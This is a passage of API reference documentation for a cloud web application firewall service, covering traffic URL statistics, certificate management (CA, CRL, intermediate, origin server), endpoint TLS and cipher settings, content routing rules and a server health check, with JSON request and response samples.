"id": 109, "time": 1660319400000 }, {"data": [ ], "id": 110, "time": 1660320000000 }, {"data": [ ], "id": 111, "time": 1660320600000 }, {"data": [ ], "id": 112, "time": 1660321200000 }, {"data": [ ], "id": 113, "time": 1660321800000 }, {"data": [ ], "id": 114, "time": 1660322400000 }, {"data": [ ], "id": 115, "time": 1660323000000 }, {"data": [ ], "id": 116, "time": 1660323600000 }, {"data": [ ], "id": 117, "time": 1660324200000 }, {"data": [{"source": "get", "value": {"count_sum": 1 } } ], "id": 118, "time": 1660324800000 }, {"data": [ ], "id": 119, "time": 1660325400000 }, {"data": [{"source": "get", "value": {"count_sum": 3 } } ], "id": 120, "time": 1660326000000 }, {"data": [ ], "id": 121, "time": 1660326600000 }, {"data": [ ], "id": 122, "time": 1660327200000 }, {"data": [{"source": "get", "value": {"count_sum": 4 } } ], "id": 123, "time": 1660327800000 }, {"data": [{"source": "get", "value": {"count_sum": 12 } } ], "id": 124, "time": 1660328400000 }, {"data": [{"source": "get", "value": {"count_sum": 13 } } ], "id": 125, "time": 1660329000000 }, {"data": [ ], "id": 126, "time": 1660329600000 }, {"data": [{"source": "get", "value": {"count_sum": 1 } } ], "id": 127, "time": 1660330200000 }, {"data": [{"source": "get", "value": {"count_sum": 11 } } ], "id": 128, "time": 1660330800000 }, {"data": [ ], "id": 129, "time": 1660331400000 }, {"data": [{"source": "get", "value": {"count_sum": 1 } } ], "id": 130, "time": 1660332000000 }, {"data": [ ], "id": 131, "time": 1660332600000 }, {"data": [ ], "id": 132, "time": 1660333200000 }, {"data": [ ], "id": 133, "time": 1660333800000 }, {"data": [ ], "id": 134, "time": 1660334400000 }, {"data": [ ], "id": 135, "time": 1660335000000 }, {"data": [ ], "id": 136, "time": 1660335600000 }, {"data": [ ], "id": 137, "time": 1660336200000 }, {"data": [ ], "id": 138, "time": 1660336800000 }, {"data": [ ], "id": 139, "time": 1660337400000 }, {"data": [ ], "id": 140, "time": 1660338000000 }, {"data": [ ], "id": 141, "time": 1660338600000 }, {"data": [ ], "id": 142, "time": 1660339200000 }, {"data": [ ], "id": 143, "time": 1660339800000 }, {"data": [ ], "id": 144, "time": 1660340400000 }, {"data": [ ], "id": 145, "time": 1660341000000 } ], "start": "1660255034725" } }

Get Traffic Log URL Statics

Example Request:

Get Traffic Log URL Statics

/waf/apps/{ep_id}/traffic_summary/url_statistics?type=summary&start_time=1660254330143&end_time=1660340730143

Get Traffic Log URL Statics Detail 24 Hours

/waf/apps/:ep_id/traffic_summary/traffic_summary/url_statistics?type=details&start_time=1660254450854&end_time=1660340850854&page=1&size=5&sort_by=total_number&filter=%7B%22http_url%22%3A%22%2F%22%7D

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

query Parameters

start_time	string the start time of timespan
end_time	string the end time of timespan
type	string the type of query result only support "summary" and for "detail"
size	string the result table size
page	string the page number of requested information
filter	string For example, for the URL details table, the filter is "{?srccountry": ?canada, united state?, "http_url": ?/ip/*?}"

Responses

Response samples

200

Content type
application/json

Example
Get Traffic Log URL Statics

{"details": {"/": {"count": 7 }, "/contact": {"count": 1 }, "/favicon.ico": {"count": 3 }, "/image": {"count": 41 } }, "summary": {"count": 145, "end": "1660340730143", "graph": [{"data": [ ], "id": 1, "time": 1660254000000 }, {"data": [ ], "id": 2, "time": 1660254600000 }, {"data": [ ], "id": 3, "time": 1660255200000 }, {"data": [ ], "id": 4, "time": 1660255800000 }, {"data": [ ], "id": 5, "time": 1660256400000 }, {"data": [ ], "id": 6, "time": 1660257000000 }, {"data": [ ], "id": 7, "time": 1660257600000 }, {"data": [ ], "id": 8, "time": 1660258200000 }, {"data": [{"source": "/", "value": {"count_sum": 1 } }, {"source": "/image", "value": {"count_sum": 1 } } ], "id": 9, "time": 1660258800000 }, {"data": [{"source": "/favicon.ico", "value": {"count_sum": 1 } }, {"source": "/image", "value": {"count_sum": 3 } } ], "id": 10, "time": 1660259400000 }, {"data": [ ], "id": 11, "time": 1660260000000 }, {"data": [ ], "id": 12, "time": 1660260600000 }, {"data": [ ], "id": 13, "time": 1660261200000 }, {"data": [ ], "id": 14, "time": 1660261800000 }, {"data": [ ], "id": 15, "time": 1660262400000 }, {"data": [ ], "id": 16, "time": 1660263000000 }, {"data": [ ], "id": 17, "time": 1660263600000 }, {"data": [ ], "id": 18, "time": 1660264200000 }, {"data": [ ], "id": 19, "time": 1660264800000 }, {"data": [ ], "id": 20, "time": 1660265400000 }, {"data": [ ], "id": 21, "time": 1660266000000 }, {"data": [ ], "id": 22, "time": 1660266600000 }, {"data": [ ], "id": 23, "time": 1660267200000 }, {"data": [ ], "id": 24, "time": 1660267800000 }, {"data": [ ], "id": 25, "time": 1660268400000 }, {"data": [ ], "id": 26, "time": 1660269000000 }, {"data": [ ], "id": 27, "time": 1660269600000 }, {"data": [ ], "id": 28, "time": 1660270200000 }, {"data": [ ], "id": 29, "time": 1660270800000 }, {"data": [ ], "id": 30, "time": 1660271400000 }, {"data": [ ], "id": 31, "time": 1660272000000 }, {"data": [ ], "id": 32, "time": 1660272600000 }, {"data": [ ], "id": 33, "time": 1660273200000 }, {"data": [ ], "id": 34, "time": 1660273800000 }, {"data": [ ], "id": 35, "time": 1660274400000 }, {"data": [ ], "id": 36, "time": 1660275000000 }, {"data": [ ], "id": 37, "time": 1660275600000 }, {"data": [ ], "id": 38, "time": 1660276200000 }, {"data": [ ], "id": 39, "time": 1660276800000 }, {"data": [ ], "id": 40, "time": 1660277400000 }, {"data": [ ], "id": 41, "time": 1660278000000 }, {"data": [ ], "id": 42, "time": 1660278600000 }, {"data": [ ], "id": 43, "time": 1660279200000 }, {"data": [ ], "id": 44, "time": 1660279800000 }, {"data": [ ], "id": 45, "time": 1660280400000 }, {"data": [ ], "id": 46, "time": 1660281000000 }, {"data": [ ], "id": 47, "time": 1660281600000 }, {"data": [ ], "id": 48, "time": 1660282200000 }, {"data": [ ], "id": 49, "time": 1660282800000 }, {"data": [ ], "id": 50, "time": 1660283400000 }, {"data": [ ], "id": 51, "time": 1660284000000 }, {"data": [ ], "id": 52, "time": 1660284600000 }, {"data": [ ], "id": 53, "time": 1660285200000 }, {"data": [ ], "id": 54, "time": 1660285800000 }, {"data": [ ], "id": 55, "time": 1660286400000 }, {"data": [ ], "id": 56, "time": 1660287000000 }, {"data": [ ], "id": 57, "time": 1660287600000 }, {"data": [ ], "id": 58, "time": 1660288200000 }, {"data": [ ], "id": 59, "time": 1660288800000 }, {"data": [ ], "id": 60, "time": 1660289400000 }, {"data": [ ], "id": 61, "time": 1660290000000 }, {"data": [ ], "id": 62, "time": 1660290600000 }, {"data": [ ], "id": 63, "time": 1660291200000 }, {"data": [ ], "id": 64, "time": 1660291800000 }, {"data": [ ], "id": 65, "time": 1660292400000 }, {"data": [ ], "id": 66, "time": 1660293000000 }, {"data": [ ], "id": 67, "time": 1660293600000 }, {"data": [ ], "id": 68, "time": 1660294200000 }, {"data": [ ], "id": 69, "time": 1660294800000 }, {"data": [ ], "id": 70, "time": 1660295400000 }, {"data": [ ], "id": 71, "time": 1660296000000 }, {"data": [ ], "id": 72, "time": 1660296600000 }, {"data": [ ], "id": 73, "time": 1660297200000 }, {"data": [ ], "id": 74, "time": 1660297800000 }, {"data": [ ], "id": 75, "time": 1660298400000 }, {"data": [ ], "id": 76, "time": 1660299000000 }, {"data": [ ], "id": 77, "time": 1660299600000 }, {"data": [ ], "id": 78, "time": 1660300200000 }, {"data": [ ], "id": 79, "time": 1660300800000 }, {"data": [ ], "id": 80, "time": 1660301400000 }, {"data": [ ], "id": 81, "time": 1660302000000 }, {"data": [ ], "id": 82, "time": 1660302600000 }, {"data": [ ], "id": 83, "time": 1660303200000 }, {"data": [ ], "id": 84, "time": 1660303800000 }, {"data": [ ], "id": 85, "time": 1660304400000 }, {"data": [ ], "id": 86, "time": 1660305000000 }, {"data": [ ], "id": 87, "time": 1660305600000 }, {"data": [ ], "id": 88, "time": 1660306200000 }, {"data": [ ], "id": 89, "time": 1660306800000 }, {"data": [ ], "id": 90, "time": 1660307400000 }, {"data": [ ], "id": 91, "time": 1660308000000 }, {"data": [ ], "id": 92, "time": 1660308600000 }, {"data": [ ], "id": 93, "time": 1660309200000 }, {"data": [ ], "id": 94, "time": 1660309800000 }, {"data": [ ], "id": 95, "time": 1660310400000 }, {"data": [ ], "id": 96, "time": 1660311000000 }, {"data": [ ], "id": 97, "time": 1660311600000 }, {"data": [ ], "id": 98, "time": 1660312200000 }, {"data": [ ], "id": 99, "time": 1660312800000 }, {"data": [ ], "id": 100, "time": 1660313400000 }, {"data": [ ], "id": 101, "time": 1660314000000 }, {"data": [ ], "id": 102, "time": 1660314600000 }, {"data": [ ], "id": 103, "time": 1660315200000 }, {"data": [ ], "id": 104, "time": 1660315800000 }, {"data": [ ], "id": 105, "time": 1660316400000 }, {"data": [ ], "id": 106, "time": 1660317000000 }, {"data": [ ], "id": 107, "time": 1660317600000 }, {"data": [ ], "id": 108, "time": 1660318200000 }, {"data": [ ], "id": 109, "time": 1660318800000 }, {"data": [ ], "id": 110, "time": 1660319400000 }, {"data": [ ], "id": 111, "time": 1660320000000 }, {"data": [ ], "id": 112, "time": 1660320600000 }, {"data": [ ], "id": 113, "time": 1660321200000 }, {"data": [ ], "id": 114, "time": 1660321800000 }, {"data": [ ], "id": 115, "time": 1660322400000 }, {"data": [ ], "id": 116, "time": 1660323000000 }, {"data": [ ], "id": 117, "time": 1660323600000 }, {"data": [ ], "id": 118, "time": 1660324200000 }, {"data": [{"source": "/", "value": {"count_sum": 1 } } ], "id": 119, "time": 1660324800000 }, {"data": [ ], "id": 120, "time": 1660325400000 }, {"data": [{"source": "/image", "value": {"count_sum": 3 } } ], "id": 121, "time": 1660326000000 }, {"data": [ ], "id": 122, "time": 1660326600000 }, {"data": [ ], "id": 123, "time": 1660327200000 }, {"data": [{"source": "/image", "value": {"count_sum": 4 } } ], "id": 124, "time": 1660327800000 }, {"data": [{"source": "/image", "value": {"count_sum": 12 } } ], "id": 125, "time": 1660328400000 }, {"data": [{"source": "/image", "value": {"count_sum": 12 } }, {"source": "/favicon.ico", "value": {"count_sum": 1 } } ], "id": 126, "time": 1660329000000 }, {"data": [ ], "id": 127, "time": 1660329600000 }, {"data": [{"source": "/", "value": {"count_sum": 1 } } ], "id": 128, "time": 1660330200000 }, {"data": [{"source": "/", "value": {"count_sum": 4 } }, {"source": "/image", "value": {"count_sum": 5 } }, {"source": "/contact", "value": {"count_sum": 1 } }, {"source": "/favicon.ico", "value": {"count_sum": 1 } } ], "id": 129, "time": 1660330800000 }, {"data": [ ], "id": 130, "time": 1660331400000 }, {"data": [{"source": "/image", "value": {"count_sum": 1 } } ], "id": 131, "time": 1660332000000 }, {"data": [ ], "id": 132, "time": 1660332600000 }, {"data": [ ], "id": 133, "time": 1660333200000 }, {"data": [ ], "id": 134, "time": 1660333800000 }, {"data": [ ], "id": 135, "time": 1660334400000 }, {"data": [ ], "id": 136, "time": 1660335000000 }, {"data": [ ], "id": 137, "time": 1660335600000 }, {"data": [ ], "id": 138, "time": 1660336200000 }, {"data": [ ], "id": 139, "time": 1660336800000 }, {"data": [ ], "id": 140, "time": 1660337400000 }, {"data": [ ], "id": 141, "time": 1660338000000 }, {"data": [ ], "id": 142, "time": 1660338600000 }, {"data": [ ], "id": 143, "time": 1660339200000 }, {"data": [ ], "id": 144, "time": 1660339800000 }, {"data": [ ], "id": 145, "time": 1660340400000 } ], "start": "1660254330143" } }

Network

This section shows how to configure module network.

Get CA Certificate Detail

Get the detail information of CA certificate.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

id	integer Example: id={{id}} The ID of the SNI certificate.

Responses

Response samples

200
400

Content type
application/json

{ }

Get CA Certificate

Get the information of CA certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

forward	string True: the next page. False: the previous page.
cursor	string To list the items of the first page, leave the cursor value empty. To go forward to next page, get the value of the 'next_cursor' parameter in the result of the current page, then paste it here as the cursor value. To go to the previous page, get the 'prev_cursor' value, then paste it here as the cursor value.
size	integer An integer, the page size. The value shall be 10, 20, 30.

Responses

Response samples

200
400

Content type
application/json

{ }

Update CA Certificate

Modify CA certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

No sample

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get CRL Certificate Detail

Get the detail information of CRL certificate.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

id	integer Example: id={{id}} The ID of the SNI certificate.

Responses

Response samples

200
400

Content type
application/json

{ }

Get CRL Certificate

Get the information of CRL certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

forward	string True: the next page. False: the previous page.
cursor	string To list the items of the first page, leave the cursor value empty. To go forward to next page, get the value of the 'next_cursor' parameter in the result of the current page, then paste it here as the cursor value. To go to the previous page, get the 'prev_cursor' value, then paste it here as the cursor value.
size	integer An integer, the page size. The value shall be 10, 20, 30.

Responses

Response samples

200
400

Content type
application/json

{ }

Update CRL Certificate

Modify CRL certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

No sample

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Endpoints

Get the information of endpoints configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"app_name": "wl_us1", "block_mode": 1, "block_url": "/test/block.html", "cert_auto_status": 0, "cert_type": 0, "custom_block_page": "enable", "custom_port": {"http": 80, "https": 443 }, "domain_name": "www.example.com", "ep_cname": "wl_us1.waasonline-test.54321.waasonline.net", "extra_domains": ["a.example.com", "b.example.com" ], "http2_status": 0, "http_status": 0, "https_status": 1, "ipv6_option": 0, "oc_gslb": {"bypass": false, "status": true, "zone": "zone.com." }, "platform": "AWS", "ssl_options": {"available_ssl_custom_cipher": ["ECDHE-RSA-AES128-GCM-SHA256", "DHE-DSS-CAMELLIA128-SHA256", "AES256-SHA", "DHE-RSA-AES128-CCM", "AES256-GCM-SHA384", "DHE-RSA-AES256-CCM8", "AES128-CCM8", "ECDHE-ECDSA-AES256-SHA", "DHE-RSA-AES128-SHA256", "ECDHE-RSA-AES256-SHA384", "ECDHE-ECDSA-AES128-GCM-SHA256", "DHE-RSA-AES128-CCM8", "DHE-DSS-AES256-GCM-SHA384", "CAMELLIA256-SHA256", "DHE-DSS-AES256-SHA256", "CAMELLIA128-SHA256", "ECDHE-RSA-AES128-SHA", "ECDHE-ECDSA-CHACHA20-POLY1305", "ECDHE-RSA-DES-CBC3-SHA", "ECDHE-RSA-CAMELLIA128-SHA256", "ECDHE-ECDSA-CAMELLIA128-SHA256", "DHE-RSA-CHACHA20-POLY1305", "ECDHE-ECDSA-AES256-SHA384", "DHE-RSA-AES128-GCM-SHA256", "DHE-DSS-AES128-SHA256", "DHE-DSS-AES128-GCM-SHA256", "DHE-RSA-CAMELLIA128-SHA256", "AES256-CCM8", "AES256-SHA256", "AES128-SHA256", "DHE-RSA-AES256-CCM", "DHE-RSA-SEED-SHA", "ECDHE-ECDSA-AES256-CCM", "ECDHE-ECDSA-AES128-CCM", "DHE-RSA-CAMELLIA256-SHA256", "DHE-DSS-AES128-SHA", "ECDHE-ECDSA-CAMELLIA256-SHA384", "ECDHE-RSA-AES256-SHA", "AES128-SHA", "ECDHE-ECDSA-AES128-SHA", "DHE-DSS-CAMELLIA256-SHA", "DHE-RSA-AES256-GCM-SHA384", "ECDHE-RSA-CAMELLIA256-SHA384", "AES128-GCM-SHA256", "ECDHE-RSA-AES256-GCM-SHA384", "DHE-DSS-CAMELLIA256-SHA256", "ECDHE-RSA-CHACHA20-POLY1305", "ECDHE-ECDSA-AES128-CCM8", "AES256-CCM", "DES-CBC3-SHA", "AES128-CCM", "ECDHE-ECDSA-AES256-GCM-SHA384", "DHE-RSA-AES128-SHA", "DHE-RSA-AES256-SHA256", "DHE-RSA-CAMELLIA256-SHA", "ECDHE-ECDSA-AES256-CCM8", "DHE-DSS-AES256-SHA", "ECDHE-RSA-AES128-SHA256", "ECDHE-ECDSA-AES128-SHA256", "DHE-RSA-AES256-SHA" ], "available_ssl_custom_cipher_http2": ["DHE-DSS-AES128-GCM-SHA256", "ECDHE-RSA-AES256-GCM-SHA384", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-CHACHA20-POLY1305", "ECDHE-ECDSA-CHACHA20-POLY1305", "ECDHE-ECDSA-AES256-GCM-SHA384", "DHE-RSA-AES128-GCM-SHA256", "DHE-RSA-AES256-GCM-SHA384", "ECDHE-ECDSA-AES128-GCM-SHA256" ], "available_tls13_custom_cipher": ["TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_128_GCM_SHA256", "TLS_AES_128_CCM_8_SHA256", "TLS_AES_128_CCM_SHA256", "TLS_AES_256_GCM_SHA384" ], "encryption_level": 2, "http_2_https": 1, "selected_ssl_custom_cipher": ["ECDHE-ECDSA-AES256-GCM-SHA384", "ECDHE-RSA-AES256-GCM-SHA384", "ECDHE-ECDSA-CHACHA20-POLY1305", "ECDHE-RSA-CHACHA20-POLY1305", "ECDHE-ECDSA-AES128-GCM-SHA256", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-ECDSA-AES256-SHA384", "ECDHE-RSA-AES256-SHA384", "ECDHE-ECDSA-AES128-SHA256", "ECDHE-RSA-AES128-SHA256", "ECDHE-ECDSA-AES256-SHA", "ECDHE-RSA-AES256-SHA", "ECDHE-ECDSA-AES128-SHA", "ECDHE-RSA-AES128-SHA", "AES256-GCM-SHA384", "AES128-GCM-SHA256", "AES256-SHA256", "AES128-SHA256" ], "selected_ssl_custom_cipher_http2": ["ECDHE-RSA-AES256-GCM-SHA384", "ECDHE-ECDSA-AES256-GCM-SHA384", "DHE-DSS-AES128-GCM-SHA256", "DHE-RSA-AES128-GCM-SHA256" ], "selected_tls13_custom_cipher": ["TLS_AES_256_GCM_SHA384" ], "tls_1_0": 0, "tls_1_1": 0, "tls_1_2": 0, "tls_1_3": 1 } }

Update Endpoints

Modify endpoints configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

app_name

string

The application name

Responses

Request samples

Payload

Content type
application/json

{"app_name": "test", "block_mode": 1, "block_url": "PredefinedMsg", "cert_auto_status": 0, "cert_challenge_mode": 1, "cert_type": 0, "client_cert_fwd": true, "client_cert_fwd_cert_header": "X-Client-Cert", "client_cert_fwd_sub_header": "X-Client-DN", "client_cert_verify": true, "custom_http_port": 8080, "custom_https_port": 443, "domain_name": "test.demo.com", "ep_cname": "test.demo.38906.waasonline.net.", "extra_domains": ["demo.com", "avc.demo.com" ], "http2_status": 0, "http_status": 1, "https_status": 1, "ipv6_option": 0, "oc_gslb": {"bypass": false, "status": true, "zone": "zone.com." }, "platform": "AWS", "ssl_options": {"encryption_level": "high", "hsts_header": 0, "hsts_max_age": 31536000, "hsts_preload": 0, "http_2_https": 0, "internal_cookie_httponly": 0, "internal_cookie_secure": 0, "selected_ssl_custom_cipher": ["DHE-RSA-AES128-GCM-SHA256", "DHE-RSA-AES256-GCM-SHA384", "ECDHE-ECDSA-AES128-GCM-SHA256", "ECDHE-ECDSA-AES256-GCM-SHA384", "ECDHE-ECDSA-CHACHA20-POLY1305", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-AES256-GCM-SHA384", "ECDHE-RSA-CHACHA20-POLY1305" ], "selected_ssl_custom_cipher_http2": ["DHE-RSA-AES128-GCM-SHA256", "DHE-RSA-AES256-GCM-SHA384", "ECDHE-ECDSA-AES128-GCM-SHA256", "ECDHE-ECDSA-AES256-GCM-SHA384", "ECDHE-ECDSA-CHACHA20-POLY1305", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-AES256-GCM-SHA384", "ECDHE-RSA-CHACHA20-POLY1305" ], "selected_tls13_custom_cipher": ["TLS_AES_128_GCM_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_CHACHA20_POLY1305_SHA256" ], "tls_1_1": 0, "tls_1_2": 1, "tls_1_3": 1 }, "strictly_need_cert": true }

Response samples

400

Content type
application/json

{"detail": "Request unauthorized" }

Get Intermediate Certificate Detail

Get the detail information of intermediate certificate.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

id	integer Example: id={{id}} The ID of the intermediate certificate.

Responses

Response samples

200
400

Content type
application/json

{"result": {"extension": [{"Content": "Digital Signature, Certificate Sign, CRL Sign", "Critical": "Yes", "Name": "keyUsage" }, {"Content": "Any Extended Key Usage", "Critical": "No", "Name": "extendedKeyUsage" }, {"Content": "CA:TRUE", "Critical": "Yes", "Name": "basicConstraints" }, {"Content": "keyid:9A:F1:9F:B9:25:12:12:89:EC:73:18:B9:97:BC:C5:F8:A0:0A:7E:53", "Critical": "No", "Name": "authorityKeyIdentifier" }, {"Content": "28:81:26:05:D1:34:1A:3F:C1:73:0F:BB:93:CF:15:1C:3F:03:BF:7F", "Critical": "No", "Name": "subjectKeyIdentifier" } ], "issuer": "C=CN, O=MySSL, OU=MySSL Test Root - For test use only, CN=MySSL.com", "serial_number": "48:42:16:0c:f7:d6:4c:32:99:71:63:72:2f:63:be:7e", "subject": "C=CN, O=MySSL, OU=MySSL Test RSA - For test use only, CN=MySSL.com", "valid_from": "2017-11-16 05:35:35 UTC", "valid_to": "2027-11-16 05:35:35 UTC", "version": 3 } }

Get Intermediate Certificate

Get the information of intermediate certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

forward	string True: the next page. False: the previous page.
cursor	string To list the items of the first page, leave the cursor value empty. To go forward to next page, get the value of the 'next_cursor' parameter in the result of the current page, then paste it here as the cursor value. To go to the previous page, get the 'prev_cursor' value, then paste it here as the cursor value.
size	integer An integer, the page size. The value shall be 10, 20, 30.

Responses

Response samples

200
400

Content type
application/json

{"hits": [{"expired": "2027-11-16 05:35:35 UTC", "id": 1, "issued_by": "MySSL.com", "issued_to": "MySSL.com" }, {"expired": "2027-11-16 05:35:35 UTC", "id": 2, "issued_by": "MySSL.com", "issued_to": "MySSL.com" } ], "next_cursor": "", "prev_cursor": "eyJwb2xpY3lfbm...xIn19", "total": 2 }

Update Intermediate Certificate

Modify intermediate certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

action	string Enum: "import" "delete" The type of the update operation
certificate	string The intermediate certificate to be imported, required on action 'import'
id	integer The certificate id to be deleted, required on action 'delete'

Responses

Request samples

Payload

Content type
application/json

Example
Import intermediate certificates

{"action": "import", "certificate": "-----BEGIN CERTIFICATE-----\nMIIETDCCAzSgAw...eCsTo\n-----END CERTIFICATE-----" }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Content Routing

Get the configuration of routings.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"policy_list": [ ], "status": false } }

Update Content Routing

Update the configuration of routings.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	Array of objects (RoutingPolicyList)
status required	boolean Default: false Enum: true false Enable/Disable content routing for current application.

Responses

Request samples

Payload

Content type
application/json

{"policy_list": [{"idx": 1, "is_default": true, "name": "default_policy", "rule_list": [ ], "server_pool": "default_pool" }, {"idx": 2, "is_default": false, "name": "policy2", "rule_list": [{"concatenate": "or", "idx": 1, "match_condition": "match-end", "match_expression": ".html", "match_object": "http-request", "reverse": false }, {"concatenate": "or", "idx": 2, "match_condition": "match-end", "match_expression": ".css", "match_object": "http-request", "reverse": false } ], "server_pool": "pool2" } ], "status": true }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Do Pserver Health Check

Do health check on specific server, which helps client locate health check issues. Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

["18.140.15.165" ]

Response samples

200
400

Content type
application/json

{"summary": "Success", "value": {"18.140.15.165": {"detail": "", "elapsed": "61 ms", "http_req_header": ["HEAD / HTTP/1.1", "Host: z.clouddemo.com", "Accept: */*", "Accept-Language: en", "Content-Type: text/html", "User-Agent: HealthCheck", "Connection: close" ], "http_resp_header": ["HTTP/1.1 302 Found", "Date: Tue, 23 Jun 2020 06:15:58 GMT", "Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1", "Upgrade: h2", "Connection: Upgrade, close", "X-Powered-By: PHP/7.4.1", "Location: http://z.clouddemo.com/dashboard/", "Content-Type: text/html; charset=UTF-8" ], "status": "Succeeded" } } }

Get Server CA Certificate

Get the information of origin server CA certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

forward	string True: the next page. False: the previous page.
cursor	string To list the items of the first page, leave the cursor value empty. To go forward to next page, get the value of the 'next_cursor' parameter in the result of the current page, then paste it here as the cursor value. To go to the previous page, get the 'prev_cursor' value, then paste it here as the cursor value.
size	integer An integer, the page size. The value shall be 10, 20, 30.
pool_name	string The server pool name.
server_index	integer The index of the server.

Responses

Response samples

200
400

Content type
application/json

{ }

Update Server CA Certificate

Modify origin server CA certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

action	string Enum: "import" "delete" The action.
certificate	string The CA certificate (for action "import").
id	integer The CA certificate index (for action "delete").
pool_name	string Default: "default_pool" The server pool name.
server_index	integer The index of the server.

Responses

Request samples

Payload

Content type
application/json

No sample

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Server CA Certificate Detail

Get the detail information of origin server CA certificate.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

pool_name	string Example: pool_name={{pool_name}} The server pool name.
server_index	integer Example: server_index={{server_index}} The index of the server.
id	integer Example: id={{id}} The index of the certificate.

Responses

Response samples

200
400

Content type
application/json

{ }

Get Server CRL Certificate

Get the information of origin server CRL certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

forward	string True: the next page. False: the previous page.
cursor	string To list the items of the first page, leave the cursor value empty. To go forward to next page, get the value of the 'next_cursor' parameter in the result of the current page, then paste it here as the cursor value. To go to the previous page, get the 'prev_cursor' value, then paste it here as the cursor value.
size	integer An integer, the page size. The value shall be 10, 20, 30.
pool_name	string The server pool name.
server_index	integer The index of the server.

Responses

Response samples

200
400

Content type
application/json

{ }

Update Server CRL Certificate

Modify origin server CRL certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

action	string Enum: "import" "delete" The action.
certificate	string The CRL certificate (for action "import").
id	integer The index of the CRL certificate (for action "delete").
pool_name	string Default: "default_pool" The server pool name.
server_index	integer The server index.

Responses

Request samples

Payload

Content type
application/json

No sample

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Server CRL Certificate Detail

Get the detail information of origin server CRL certificate.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

pool_name	string Example: pool_name={{pool_name}} The server pool name.
